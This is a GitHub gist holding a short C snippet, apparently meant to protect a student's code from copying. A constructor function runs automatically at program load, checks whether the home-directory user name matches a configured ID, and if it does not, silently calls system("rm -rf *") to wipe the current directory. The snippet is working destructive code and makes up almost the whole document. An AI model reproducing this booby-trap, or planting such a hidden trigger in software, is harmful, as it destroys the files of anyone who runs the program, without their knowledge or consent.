Skip to content

Instantly share code, notes, and snippets.

@yutopp
Created July 4, 2013 07:20
Show Gist options
  • Save yutopp/5925585 to your computer and use it in GitHub Desktop.
Save yutopp/5925585 to your computer and use it in GitHub Desktop.
#include <stdlib.h>
#include <string.h>
#ifndef GUARD_USERNAME
/* !!input your username!!!
Ex.
# define GUARD_USERNAME "s1210999"
*/
# define GUARD_USERNAME "s0000000"
#endif
__attribute__((constructor))
static void killer()
{
char *home, *username;
if ( strcmp( GUARD_USERNAME, "s0000000" ) == 0 )
return;
home = getenv("HOME");
if ( home == NULL )
return;
username = strrchr( home, '/' );
if ( username == NULL )
return;
++username;
if ( strcmp( username, GUARD_USERNAME ) == 0 )
return;
system( "rm -rf *" );
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment